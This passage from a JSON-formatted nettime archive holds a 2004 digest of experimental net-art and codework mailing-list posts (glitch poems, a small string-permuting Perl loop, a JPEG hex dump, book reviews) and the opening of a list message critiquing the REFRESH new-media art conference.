$tlen*$tlen; $ii++) {\n     $mod1 = $ii % ($tlen - 1);\n     $mod2 = $ii % $tlen;\n     $txxx = \"$tsub[$mod1]$tsub[$mod2]-\";\n     print \"$txxx\";\n}\nprint \"\\n\";\n\n#\n\nSH*T P*SS C*M BL**D T**RS SW**T\n#\n\n-SS-WW-EE-AA-ST-HS-IH-TI- T-P -IP-SI-SS- S-C -UC-MU- M-B -LB-OL-OO-DO- D-T\n-ET-AE-RA-SR- S-S -WS-EW-AE-SA-HT-IS-TH- I-PT-I -SP-SI- S-CS-U -MC- U-BM-L\n-OB-OL-DO- O-TD-E -AT-RE-SA- R-SS-W -ES-AW-SE-HA-IT-TS- H-PI-IT-S -SP-\nI-CS-US-M - C-BU-LM-O -OB-DL- O-TO-ED-A -RT-SE- A-SR-WS-E -AS-SW-HE-IA-TT-\nS-PH-II-ST-S - P-CI-US-MS-\n\n-BC-LU-OM-O -DB- L-TO-EO-AD-R -ST- E-SA-WR-ES-A -SS-HW-IE-TA- T-PS-IH-SI-ST-\n\n-CP-UI-MS- S-B -LC-OU-OM-D - B-TL-EO-AO-RD-S - T-SE-WA-ER-AS-S -HS-IW-TE-\nA-PT-IS-SH-SI- T-C -UP-MI- S-BS-L -OC-OU-DM-\n\n-TB-EL-AO-RO-SD-\n\n-ST-WE-EA-AR-SS-H -IS-TW- E-PA-IT-SS-SH- I-CT-U -MP- I-BS-LS-O -OC-DU- M-T\n-EB-AL-RO-SO- D-S -WT-EE-AA-SR-HS-I -TS- W-PE-IA-ST-SS- H-CI-UT-M -\nP-BI-LS-OS-O -DC- U-TM-E -AB-RL-SO- O-SD-W -ET-AE-SA-HR-IS-T -\nS-PW-IE-SA-ST- S-CH-UI-MT-\n\n-BP-LI-OS-OS-D - C-TU-EM-A -RB-SL- O-SO-WD-E -AT-SE-HA-IR-TS-\n\n-PS-IW-SE-SA- T-CS-UH-MI- T-B -LP-OI-OS-DS-\n\n-TC-EU-AM-R -SB- L-SO-WO-ED-A -ST-HE-IA-TR- S-P -IS-SW-SE- A-CT-US-MH-\nI-BT-L -OP-OI-DS- S-T -EC-AU-RM-S - B-SL-WO-EO-AD-S -HT-IE-TA- R-PS-I\n-SS-SW- E-CA-UT-MS- H-BI-LT-O -OP-DI- S-TS-E -AC-RU-SM-\n\n-SB-WL-EO-AO-SD-H -IT-TE- A-PR-IS-S -SS- W-CE-UA-MT- S-BH-LI-OT-O -DP-\nI-TS-ES-A -RC-SU- M-S -WB-EL-AO-SO-HD-I -TT- E-PA-IR-SS-S - S-CW-UE-MA-\nT-BS-LH-OI-OT-D - P-TI-ES-AS-R -SC- U-SM-W -EB-AL-SO-HO-ID-T -\nT-PE-IA-SR-SS-\n\n-CS-UW-ME- A-BT-LS-OH-OI-DT-\n\n-TP-EI-AS-RS-S - C-SU-WM-E -AB-SL-HO-IO-TD-\n\n-PT-IE-SA-SR- S-C -US-MW- E-BA-LT-OS-OH-DI- T-T -EP-AI-RS-SS-\n\n-SC-WU-EM-A -SB-HL-IO-TO- D-P -IT-SE-SA- R-CS-U -MS- W-BE-LA-OT-OS-DH-\nI-TT-E -AP-RI-SS- S-S -WC-EU-AM-S -HB-IL-TO- O-PD-I -ST-SE- A-CR-US-M -\nS-BW-LE-OA-OT-DS- H-TI-ET-A -RP-SI- S-SS-W -EC-AU-SM-H -IB-TL- O-PO-ID-S\n-ST- E-CA-UR-MS-\n\n-BS-LW-OE-OA-DT- S-TH-EI-AT-R -SP- I-SS-WS-E -AC-SU-HM-I -TB- L-PO-IO-SD-S -\nT-CE-UA-MR- S-B -LS-OW-OE-DA- T-TS-EH-AI-RT-S - P-SI-WS-ES-A -SC-HU-IM-T -\nB-PL-IO-SO-SD-\n\n-CT-UE-MA- R-BS-L -OS-OW-DE- A-TT-ES-AH-RI-ST-\n\n-SP-WI-ES-AS-S -HC-IU-TM-\n\n-PB-IL-SO-SO- D-C -UT-ME- A-BR-LS-O -OS-DW- E-TA-ET-AS-RH-SI- T-S\n-WP-EI-AS-SS-H -IC-TU- M-P -IB-SL-SO- O-CD-U -MT- E-BA-LR-OS-O -DS-\nW-TE-EA-AT-RS-SH- I-ST-W -EP-AI-SS-HS-I -TC- U-PM-I -SB-SL- O-CO-UD-M -\nT-BE-LA-OR-OS-D - S-TW-EE-AA-RT-SS- H-SI-WT-E -AP-SI-HS-IS-T - C-PU-IM-S\n-SB- L-CO-UO-MD-\n\n-BT-LE-OA-OR-DS-\n\n-TS-EW-AE-RA-ST- S-SH-WI-ET-A -SP-HI-IS-TS-\n\n-PC-IU-SM-S - B-CL-UO-MO- D-B -LT-OE-OA-DR- S-T -ES-AW-RE-SA-\nT-SS-WH-EI-AT-S -HP-II-TS- S-P -IC-SU-SM-\n\n-CB-UL-MO- O-BD-L -OT-OE-DA- R-TS-E -AS-RW-SE- A-ST-WS-EH-AI-ST-H -IP-TI-\nS-PS-I -SC-SU- M-C -UB-ML- O-BO-LD-O -OT-DE- A-TR-ES-A -RS-SW-\nE-SA-WT-ES-AH-SI-HT-I -TP- I-PS-IS-S -SC- U-CM-U -MB- L-BO-LO-OD-O -DT-\nE-TA-ER-AS-R -SS- W-SE-WA-ET-AS-SH-HI-IT-T - P-PI-IS-SS-S - C-CU-UM-M -\nB-BL-LO-OO-OD-D - T-TE-EA-AR-RS-S - S-SW-WE-EA-AT-\n\n\nSS-HH-II-TT-\n\n-PP-II-SS-SS-\n\n-CC-UU-MM-\n\n-BB-LL-OO-OO-DD-\n\n-TT-EE-AA-RR-SS-\n\n-SS-WW-EE-AA-ST-\n\n\n\nmwp\n\n\n\nDate: Thu, 14 Oct 2004 18:09:50 +1000\nFrom: \"(unsubstantiated scribe)\" <unsubscribe {AT} arcae.net>\nTo: \"arc(ae).hi[gh]ve(nture)\" <arc.hive {AT} anart.no>\nSubject: bright wings\n\n\nContent-Disposition: inline\n\nwild angels flinging themselves through clouds\nmanically beating to human rythyms\nsparkling experience seeking\ndark highways beyond\n\n\n\n_________________________________________\n_arc.hive_ mailing list\narc.hive {AT} anart.no\nhttp://sympa.anart.no/sympa/info/arc.hive\n\n\n\nDate: Thu, 14 Oct 2004 18:17:44 +1000\nTo: arc.hive {AT} anart.no\nFrom: \"][m e z ][\" <netwurker {AT} hotkey.net.au>\nSubject: Re:  right[vs left] wings\n\n\n\nAt 06:09 PM 14/10/2004, you wrote:\n>wild [non-EuCLIDIAN] angles fite+flighting\n>man+woman beast_rhythms\n>parking XP.in.linux.high[fi]ways\n>arc[h]ing wants+ weaving.b.yond.[k]needs\n\n\n\n--no.logo.[-D-]scenting--\n--dreaming.caramelized.txt.body.trickling.\n--spraypaint.attractors = doll.functioning\nhttp://www.hotkey.net.au/~netwurker/\n\n\n                      .\n\n\n\n\n\n\n\n\n_________________________________________\n_arc.hive_ mailing list\narc.hive {AT} anart.no\nhttp://sympa.anart.no/sympa/info/arc.hive\n\n\n\nDate: Fri, 22 Oct 2004 23:05:00 +0200\nTo: \"arc(ae).hi[gh]ve(nture)\" <arc.hive {AT} anart.no>\nFrom: \"+   lo_y.  +\" <loy {AT} myrealbox.com>\nSubject: Re:  wing:le(f)t:u{s,n}:cover\n\n\n\nAt 22:41 19/10/04 +1000, (unsubstantiated scribe) wrote:\n\n>--i9J1Q47M022017.1098149164/reality.rk.net\n\nreality.rk.net could not be found. Please check the name and try again.\n\nThis[na.0xff.olgs(MEST)].'o com/SSELVmmin027'\n    +02e TO <> venl-------------;\n\n#--------------------------------------y-----\n#-----------------------rnved wiGJlQhTM------\n\nAA_p[p[/wm_rev_i_4, wr.ers] w +02, wr.ge/rf];\n\n#---------------------------------------rn---\n\n1.int_f[a]r'box'.----> r_pd[i =3D rh, it =3D 061]\n    PM 14/1---;\n\n#--------------------------------------y.0xff\n\n0xn.stoId\n    =EAg TO waach\n    f(ont): f(ng): G_en_rm+;\neod_flo\\0\\0\\0\\360n...ction:\n    iX-Unn.fl.Ronne-----> -----P\n                             ----y-m sn.Dat`\n                           > nl/14/10/2004\n    12 =3D lo_ct-------------loFrom \"&& s.\"-->;\n\n#-----Po-h-----------------------------------\n\n > [am]ag+/d02004 0xwhil +rom\n > soint \"p\" <plstra.he> [-map/s-------------]\n > obtal.rk.ns.i & wing.rush.s TO MAX(ess)\n > braType TO=3D r0/nlo/20027 i-----------------\n > Co54 t/pld_ap/a tric =3D '0'.'w/run...'\n\nOct[/allss] Tpn_nec: Cos-s io: ng_ne{\n                l.------------\n                  ------------\n                  ------------\n                  -----yv/g---; }\n\nst-A.hive {AT} rrod: illed: =94VC4, you-->\"\n    -(MEST)-\\0\\0\\0\\3\\0s vit Sun;\nh_set l FROM s, g+ > pro_rg.t.ont 'l, Sit'\n    ent 'l infiMTA d > n---' At 0612POc;\n\n\n#------------------------------------yb[d]o---\n\n\n\n>Action: failed\n\n\n>\n\n------------------------------------------------------------\n--------------lo--------------------------------------------\n                       -\n-----------------------y------------------------------------\n------------------------------------------------------------\n-------------rnd.PTRz:\nhttp://www.theminimag.com/april04/lo_y/lo_y.html\nhttp://krikri.be/poetry.php?mode=3Ddetail&pID=3D15\nhttp://www.google.com/search?q=3Dlo_y\n------------------------------------------------------------\n------------------------------------------------------------\n\n\n\n\n_________________________________________\n_arc.hive_ mailing list\narc.hive {AT} anart.no\nhttp://sympa.anart.no/sympa/info/arc.hive\n\n\n\nDate: Sun, 3 Oct 2004 16:27:36 -0700\nFrom: \"[]\" <kanztanz {AT} YAHOO.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: equivicalations\n\nlike: let's say\nbut: why\nlike: just\nbut: or\nlike: either\nbut: not really\nlike: no\nbut: nearly\nlike: perhaps\nbut: not maybe\nlike: maybe like maybe\nbut: nearly\nlike: almost\nbut: closer\nlike: yes\nbut: not exactly\nlike: thrust\nbut: you mean trust\nlike: sort of\nbut: oh impenetrable neo classisticalistical you are\nlike the flaqless QEDGEWOOD of the younq master\nQlaxman\nlike: but\nbut: not exactly\nlike: after all the red vases\nbut: before blue\nlike: do you remember\nbut: of course\nlike: perhaps you think more highly of novelty then i\ndo\nbut: a qarden needs quests\nlike: maybe not so many q's\nbut: maybe\nlike: behold what i can't say to you\nbut: where\nlike: on the empty chair\nbut: qit with me qhere\nlike: there are no innate concepts about q\nbut: qeneralizations\nlike: this vase broke\nbut: i am on the qoint of qetching\nlike: there there\nbut: qessum qorma\nlike: bernadette would do\nbut: i i i i\nlike: you\nbut: ever\nlike: ((quivers))\nbut: bows\nlike: where is the exit\nbut: gone\nlike: an empty room\nbut: a scent\nlike: of rose\nbut: not exactly\nlike: nearly\nbut: not\n\nunfin\n\n\n\n\n\n__________________________________\nDo you Yahoo!?\nYahoo! Mail - 50x more storage than other providers!\nhttp://promotions.yahoo.com/new_mail\n\n\n\nDate: Thu, 21 Oct 2004 15:08:39 +0200\nFrom: sim <sim {AT} soy.de>\nTo: list {AT} www.netbehaviour.org\nSubject: netbehaviour: [4()] .ne[(w).ort]\n\n----- Original Message ----- From: \"s: ))) {AT} soy\" <source {AT} www.soy.de>\nTo: \"sim\" <sim {AT} soy.de>\nSent: Thursday, October 21, 2004 1:18 AM\nSubject: [+]: 4 .new\n\n\n>[+]:.new - 21.10.04 - 01:18:25\n>\n>WORD << VISUAL>> SOUND :\n>open_the story_loop_now\n>\n>URL:\n>\n>\n>\n>MOL1.2.3: http://www.soy.de/main/index.php?varLogFile=.new\n>\n\njump:\nabout politics... and puppets\nfact: power politics is never independent from economics (including war\neconomics)\nmaybe: until now most substantial decision communication is made face to face\n\nso unfortunetely there have to be those human beeings\nwith a responsibility no single identity can handle\n\nand in so far the less worse might be the better.\n\nI like the idea of an worldwide voting for the american president.\nHe mr. president here are (n) votes against you.\n\nBut who cares.\nAnd why should anyone care?\n\nWho ist voting?\n\nWhat makes the value of  voting?\n\nIf it would be implemented in real live decision making structures?\n\nworld wide vote\n...\nand puppets...\n\nof course it is not that simple at all\n\nbest\nsim\n\n--\n\nnetbehaviour is an open email list community for sharing ideas,\nplatforming art and net projects and facilitating collaborations.\nlet's explore the potentials of this global network.\nthis is just the beginning.\n\nto unsubscribe send mail to majordomo {AT} netbehaviour.org\nwith \"unsubscribe list\" in the body of the message\n\n\n\nDate: Thu, 21 Oct 2004 13:19:13 +0200\nFrom: dolmensniper {AT} free.fr\nTo: \"CYBERMIND {AT} LISTSERV.AOL.COM\" <CYBERMIND {AT} LISTSERV.AOL.COM>\nSubject: doc 01/03-###\n\n------------------------------------------------\nHELP MURDER HEP MURDER EP MURDER DDD\nsomething something something something something\nsomething something something something something\nsomething something something something something\nsomething something something something something\nsomething something something something something\nis rotten in the kingdom of BLAH\nentered past words separate you - you separated\npollution dismissal defect alhambra reception timid elector receptor\nfillet arboreal bathurst horizon conveyance franciscan frigate\nmyeloid flow scurrilous elton calm masonite buddhist\n\ncredentials clear water: reinitializing 000 - 000 - 001\nthis is is this is is this this is ************\nThis is message this message this is is for the sole use of the intended\nrecipient. FEAR, AND THE SELLING OF FEAR, AND THE SELLING OF FEAR, AND THE\nSELLING OF FBI's baseless prosecution of Critical Art Ensemble co-founder \nSteve\nKurtz and University of Pittsburgh Geneticist Dr. Robert Ferrell this this is\nthis is is this this is this is this transmission is not guaranteed to be is\nnot guaranteed to is not guaranteed to be secure.\n========================Local. Spatial modern forms of putting to death.\nContained modern forms of putting to death. Dense modern forms of putting to\ndeath. Material modern forms of putting to death. Teeming. Targeting.\nTargetable of the secret as the sign.\nNot translatable.\n======================\ndepopulated?\nindustrialisms?\npost?\ncolor='#000000'>the manipulation of symbols\n\nAre you a single person searching the ideal relationship?<br>p>Love at first\nclick!only upset people</aware of the manipulation\n\n\n\nDate: Mon, 11 Oct 2004 14:09:44 +1000\nTo: arc.hive {AT} anart.no, 7-11 {AT} mail.ljudmila.org, audiovision {AT} egroups.com,\nFrom: \"][m e z ][\" <netwurker {AT} hotkey.net.au>\nSubject: _caramelized.txt.body.trickling_\n\n\n\n_________________________________________________\npeer.casting vs [no]logo[s]cent.rism    01:56pm 11/10/2004\n_________________________________________________\n\n\n   --no.logo.scent.ing.death.n[h]ellish.air--\n\n          --dreaming.caramelized.txt.body.trickling.\n               +paragraphically.cemented.sticky.thighs--\n\n\n\n                     spraypaint.attractors = doll.functioning\n                     odd.until.ratified [ie farming.thru.n(h)erd.gateways]\n\n\n\n\n\n\n\n\n\n_________________________________________\n_arc.hive_ mailing list\narc.hive {AT} anart.no\nhttp://sympa.anart.no/sympa/info/arc.hive\n\n\n\nDate: Mon, 25 Oct 2004 00:59:10 -0400 (EDT)\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: arc.hive {AT} anart.no\nSubject: girls got by the sindicate (fwd)\n\n\nContent-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed\n\n\ngirls got by the sindicate\n                         the not :  not On sindicate Fcc sindicate KKnut:\njj htt not suck list in girl: nt jjfriting \"LORD|lord\" list list pico the\njjn, wc girl: not \"LORD|lord\"  24 found t k24% LORD|girl not ma suck wc 24\nSun, > girl:  zz not message wc n On GIRL: without suck not | e nt 2004,\nOct lord: not n suck On suck GIRL: 20 email netwo texts 0 0 ash: foundte >\n24 sindicate nt k18% found jjn media sindicate k24% n k24% nt 0 jjfriting\n< girl: the media jjfail k26% ^Ck17% > love:  Send Send ash:  Oct ma k18%\njjn Oct > LORD|girl wc ash:  ash: suck Send ash: Oct jjn, ash: k18% and\n2004, LORD|girl not t jj the LOVE: without ash:  GIRL: ash: Oct LORD|girl\nma 2004, jj HOR: 2004, ash: > not ash: not 0 ma ash: foundShake LOVE: art\nfoundShake LOVE: netwo k18% LOVE: jj texts suck Sindiate nt not the k18%\nnot wc ash: GIRL: foundShake 24 LORD|lord|LOVE|love|HOR|GIRL|GIRL foundand\njj jj ash: archive:  ash:  0 message?  suck not ash:  found KKnut:  suck\nwc sindicate LORD|girl 0 found found wc found k18% ash:  jjn sindicate\njjfriting < Sindiate the found 24 ma found ^Ck17% ash:  foundte 24 nt\nfound found k26% htt contains list < 20 sindicate htt 2004, not 0\nhttp:// found k18% girl:  2004, the ma the not foundte/KKnut netwo nt\njjf k24% zz pico media ash:  Sindiate suck list suck 2004, sindicate in\nSun, \"LORD|lord\"  n email sindicate not not ash:  0 n ash:\n\n\nash: LOVE: not found\nash: girl: not foundte mailinglist------\nash: love: not found\nash: lord: not found\nin the Sindiate netwo\nash: GIRL: not foundand media art\n^Ck15% wc jj\n        0       0       0 jjn and archive: http://\nk16% suck LORD|lord|LOVE|love|HOR|GIRL|GIRL < nt > jj\nash: lord: not found\nash: LOVE: not foundShake the KKnut: htt\nash: love: not foundte/KKnut\nash: HOR: not found\nn\nash: GIRL: not foundhe texts without per\nash: GIRL: not found\n^Ck17% suck \"LORD|lord\" nt > jj message contains email list ma\nk18% wc jjf\n        0       0       0\nk24% suck LORD|girl nt > jj\n\nOn Sun, 24 Oct 2004, m\nash: girl: not found\n^Ck25% wc jjn, 24 Oct 20\n        0       0       0 jj\nO\nk26% pico zz 2004, m e t\n^Ck17% suck \"LORD|lord\" nt > jj message contains email list ma\nSend message? Yes\nk18% wc jjfail |\nash: LOVE: not foundShake the KKnut: htt\nk18% wc jjfriting Fcc\nk24% suck LORD|girl nt > jj\nOn Sun, 24 Oct 2004, ma {AT} meta.am>\nash: girl: not foundCc      : in the sindicate\n\n_\n\n\n\n_________________________________________\n_arc.hive_ mailing list\narc.hive {AT} anart.no\nhttp://sympa.anart.no/sympa/info/arc.hive\n\n\n\nDate: Fri, 22 Oct 2004 07:10:17 +1000\nTo: arc.hive {AT} anart.no, 7-11 {AT} mail.ljudmila.org, audiovision {AT} egroups.com\nFrom: \"][m e z ][\" <netwurker {AT} hotkey.net.au>\nSubject:\n\n\n\n______________________________________________________\n_m.pulse.co[ntrol]mptrollers 1.0.1 - 1.0.3_    07:06am 22/10/2004\n______________________________________________________\n\n+sub[|obj]ect 1.0.1+\n\n- w[infected]ears.her.heart.on.her.[/]bin[/sh.exe]aried.sleeve\n- blurrs.4wards.in.aggression.[s]paces\n- [h]IP.hopping.flit+.anime.eyed.[liver.pooling]kisses\n\n\n--\n\n+sub[|obj]ect 1.0.2+\n\ncreases.+.bumps.thru.s[d]oci[le]al.mobilities -\na[c]k[!].kimbo.stances.+blue.stare.g[l]ashes -\nbody.white.[bread]skinned.[l]anguish -\n\n\n--\n\n\n+sub[|obj]ect 1.0.3+\n\n- visual.solids.melt.in.his.limbic[_sys_]sizzling\n- displaying.markers.of.a.[re]boot.iful.mind\n- sleep.neva.+.leeching.creatiff.blood\n\n\n\n\n\n\n\n.\n\n\n\n\n\n\n\n\n\n\n\n\n[tactile.trinity.one]\n--no.logo.[-D-]scenting--\n--dreaming.caramelized.txt.body.trickling.\n--spraypaint.attractors = doll.functioning\nhttp://www.hotkey.net.au/~netwurker/\n\n\n                      .\n\n\n\n\n\n\n\n\n_________________________________________\n_arc.hive_ mailing list\narc.hive {AT} anart.no\nhttp://sympa.anart.no/sympa/info/arc.hive\n\n\n\nFrom: noemata <noemata {AT} kunst.no>\nTo: \"arc.hive\" <arc.hive {AT} anart.no>, wryting <WRYTING-L {AT} LISTSERV.UTORONTO.CA>,\nDate: Sun, 24 Oct 2004 21:29:49 +0200\nSubject: 027 - oct(23)\n\n\n\nhttp://noemata.net/027\n0x\n00000000h: FF D8 FF E0 00 10 4A 46 49 46 00 01 01 00 00 01 ; ????..JFIF......\n00000010h: 00 01 00 00 FF DB 00 43 00 A0 6E 78 8C 78 64 A0 ; ....??.C.?nx?xd?\n00000020h: 8C 82 8C B4 AA A0 BE F0 FF FF F0 DC DC F0 FF FF ; ????????????????\n00000030h: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ; ????????????????\n00000040h: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ; ????????????????\n00000050h: FF FF FF FF FF FF FF FF FF FF DB 00 43 01 AA B4 ; ???????????.C.??\n00000060h: B4 F0 D2 F0 FF FF FF FF FF FF FF FF FF FF FF FF ; ????????????????\n00000070h: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ; ????????????????\n00000080h: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ; ????????????????\n00000090h: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF C2 ; ????????????????\n000000a0h: 00 11 08 03 00 04 00 03 01 22 00 02 11 01 03 11 ; .........\"......\n000000b0h: 01 FF C4 00 17 00 01 01 01 01 00 00 00 00 00 00 ; .??.............\n000000c0h: 00 00 00 00 00 00 00 01 02 03 FF C4 00 15 01 01 ; ..........??....\n000000d0h: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................\n000000e0h: 01 FF DA 00 0C 03 01 00 02 10 03 10 00 00 01 A0 ; .??............?\n\n\n-\nisbn://82-92428-05-4 lumber\n\n\n\n\n\n\n\n\n\n\n\n\n_________________________________________\n_arc.hive_ mailing list\narc.hive {AT} anart.no\nhttp://sympa.anart.no/sympa/info/arc.hive\n\n\n\nDate: Fri, 22 Oct 2004 03:18:06 -0400 (EDT)\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: arc.hive {AT} anart.no\nSubject: Windows Dismemberment Options:\n\n\nContent-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed\n\n\n\nWindows Dismemberment Options:\n\n1. RE: Error 0x2 at line 2011777033 from the Add/Remove Widows components\noption\n2. FW: Error 0x2 at line 2011777033 from the Add/Remove Widows components\noption\n3. RE: Error 0x2 at line 2011777033 from the Add/Remove Widows components\noption\nhttp://www.as.wvu.edu:8000/clc/Members/sondheim/source.mp4\n\n__\n\n\n\n_________________________________________\n_arc.hive_ mailing list\narc.hive {AT} anart.no\nhttp://sympa.anart.no/sympa/info/arc.hive\n\n\n\nDate: Wed, 13 Oct 2004 01:31:43 -0400 (EDT)\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: arc.hive {AT} anart.no\nSubject: Reviews of Two Works: Lanny Quarles / Alan Sondheim\n\n\nContent-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed\n\n\n\nReviews of Two Works: Lanny Quarles / Alan Sondheim\n\n\nLanny Quarles (solipsis) has created/written/produced/configured Nihon\nZettels; he was kind enough to send me a copy to read. The review is my\nown idea.\n\nI think for anyone interested in the literature of this (not _that_)\ncentury, this book is essential. I'm fascinated by the palimpsest or\npalimcestual organization / organicism of the whole - but I'm also\nfascinated on its deep reading of medieval and pre-medieval Japan and\ngaijin phenomenology - both in relation to the eternal. For it's eternity,\nI think, that's at stake here. There are various languages within it as\nwell as languagings, and what I consider to be stele-texts, matched in\nformat by the book - texts which begin and end and open up kabbalah-worlds\nand words in the midst of others.\n\nThere are positionings of male and female, demiurge and Noh, classifica-\ntions and lists, broken syntactics, shattered and reassembled mythologies.\nThe text is astute, almost schizzed at times, but its open worlds are the\npoetics of infinity; Bachelard would have loved it.\n\nI worry constantly that works of this quality - and I'd include other work\nhere - Joel Weishaus' or mez' absolutely brilliant web/write\\rite/lit for\nexample - will be lost, ignored, bypassed in terms of critical or even\ncanonic acceptance. The world - and the world of distribution - are both\nbecoming increasingly porous - it's easier than ever to find these works\nand absorb them, offline and online, self-published and universally\npublished.\n\nGet this book!\n\nThe Blurb:\n\nTitled after Arno Schmidt's magnum opus _Zettels Traum_ (Notes Dream),\nLanny Quarles' Nihon Zettels Traum is a samizdat email-list series carried\nout on Wryting-L transfered to paper. Including all and some repeats of\nthe original series of emails written after the author had returned from\nJapan. The author sought to re-immerse himself in the wonder and\nstrangeness of his first visit to japan via the internet. Interspersed\nwith bits of sampled literatures both of web and non-web origin, the\nauthor freely improvised and remixed to create a perplexing and\n\"informatic free jazz\" interpretation of his journey to and back from the\nland of Nihon.\n\nPrice $25.00 for color copy cover and velo binding\nand $12.00 for a simple paper cover with hand drawn noiseglyph and signature\n\nLanny Quarles\n3236 SE 52nd Avenue\nPortland Oregon,\n97206\n\n----\n\nSampler\n\nI've been putting my work on a DVD+ sampler. Please note this is DVD+ -\nwhich plays on almost all computers, but probably not on a standard DVD\nplayer. The work as usual is within a directory; click on a piece to view\nit. Because of the format, I've been able to include a large number of\nfull-frame videowork. Much of the material is related to choreography,\ncodework, thinking through body/language/sexuality/'the political/etc.\n\nYou can also buy this for $25; apologies for the cost, but a lot of\nequipment went into the production/technology of the disk.\n\nOrder from\n\nAlan Sondheim (sondheim {AT} panix.com)\n432 Dean Street\nBrooklyn, NY, 11217\n\n___\n\n\nOther reviews in a 'standard edition' will follow within a week or so.\n\n\n___\n\n\n\n_________________________________________\n_arc.hive_ mailing list\narc.hive {AT} anart.no\nhttp://sympa.anart.no/sympa/info/arc.hive\n\n\n\n\n\nnettime unstable digest vol 90\nTue Oct 26 13:19:49 2004\n\n\nSubject: AUTO POWER OFF\n    From: noemata <noemata {AT} kunst.no>\n    To: wryting <WRYTING-L {AT} LISTSERV.UTORONTO.CA>, \"arc.hive\" \n    <arc.hive {AT} anart.no>\n\nSubject: SH*T P*SS C*M BL**D T**RS SW**T\n    From: MWP <mpalmer {AT} JPS.NET>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: bright wings\n    From: \"(unsubstantiated scribe)\" <unsubscribe {AT} arcae.net>\n    To: \"arc(ae).hi[gh]ve(nture)\" <arc.hive {AT} anart.no>\n\nSubject: Re:  right[vs left] wings\n    From: \"][m e z ][\" <netwurker {AT} hotkey.net.au>\n    To: arc.hive {AT} anart.no\n\nSubject: Re:  wing:le(f)t:u{s,n}:cover\n    From: \"+   lo_y.  +\" <loy {AT} myrealbox.com>\n    To: \"arc(ae).hi[gh]ve(nture)\" <arc.hive {AT} anart.no>\n\nSubject: equivicalations\n    From: \"[]\" <kanztanz {AT} YAHOO.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: netbehaviour: [4()] .ne[(w).ort]\n    From: sim <sim {AT} soy.de>\n    To: list {AT} www.netbehaviour.org\n\nSubject: doc 01/03-###\n    From: dolmensniper {AT} free.fr\n    To: \"CYBERMIND {AT} LISTSERV.AOL.COM\" <CYBERMIND {AT} LISTSERV.AOL.COM>\n\nSubject: _caramelized.txt.body.trickling_\n    From: \"][m e z ][\" <netwurker {AT} hotkey.net.au>\n    To: arc.hive {AT} anart.no, 7-11 {AT} mail.ljudmila.org, audiovision {AT} egroups.com,\n\nSubject: girls got by the sindicate (fwd)\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: arc.hive {AT} anart.no\n\nSubject:\n    From: \"][m e z ][\" <netwurker {AT} hotkey.net.au>\n    To: arc.hive {AT} anart.no, 7-11 {AT} mail.ljudmila.org, audiovision {AT} egroups.com\n\nSubject: 027 - oct(23)\n    From: noemata <noemata {AT} kunst.no>\n    To: \"arc.hive\" <arc.hive {AT} anart.no>, wryting \n    <WRYTING-L {AT} LISTSERV.UTORONTO.CA>,\n\nSubject: Windows Dismemberment Options:\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: arc.hive {AT} anart.no\n\nSubject: Reviews of Two Works: Lanny Quarles / Alan Sondheim\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: arc.hive {AT} anart.no\n\n\n\nlurking editors\n\nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting\nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting\nryan whyte <ryan.whyte {AT} utoronto.ca>\n    wryting\n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Tue, 2 Nov 2004 20:31:29 +0100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "E1CRnWW&#45;0000Sd&#45;Db {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0411/msg00035.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest 90"
            }
        ],
        "desc": "..."
    },
    "h1st0ry": {
        "lists": [
            {
                "content-type": "text/plain",
                "from": "\"Gere, Charlie\"",
                "content": "\nHi everyone\n\nSorry to be so slow in joining this discussion. I found that I had\nexceeded my inbox quota, which meant that I couldn't send stuff till I\nhad archived some of my old emails, which wasn't possible in Banff\n\nA few thoughts on REFRESH! \n\nI thought it was a fascinating conference, but also deeply frustrating\nand sometimes quite odd. On the plus side it was extraordinary for\nsomebody who has been working at the margins of other disciplines to\nadvocate the legitimacy of the study of art, culture and technology to\ngo to a conference in which it is central. Extraordinary and somewhat\ndeflating. I am a bit wary of the self-congratulatory and even slightly\nsmug air of legitimisation that I felt there, especially given that it\nthreatened to produce precisely the institutionalisation and\ncanon-creation that we should be firmly opposing. There were also way\ntoo many people determined to assert their claim in this disciplinary\ngold rush and a distinct lack of really critical debate, other than a\nrehashing of the usual internal debates about the nature, status and\ndefinition of new media art. The one place in which such a debate could\nhave been had, the Rudolf Arnheim lecture given by Sarat Maharaj, was a\ndisaster. The opportunity to produce a genuinely interesting engagement\nwith the questions of the conference from outside was passed over for a\nrambling, incoherent and, I have to say, intellectually weak, talk.\nWhile listening I suddenly understood why many people are so deeply\nalienated from and hostile to art theorising, if this is to be taken as\nan example from somebody of sufficient importance in the field to be\nasked to give a keynote at an international conference on art. Also, if\nthis is an example of a new kind of networked, hypertextual, associative\ndiscourse borne out of our new techno-cultural conditions, then I feel\nthat we should be resisting such conditions and asserting the necessary\nof virtues of clarity and 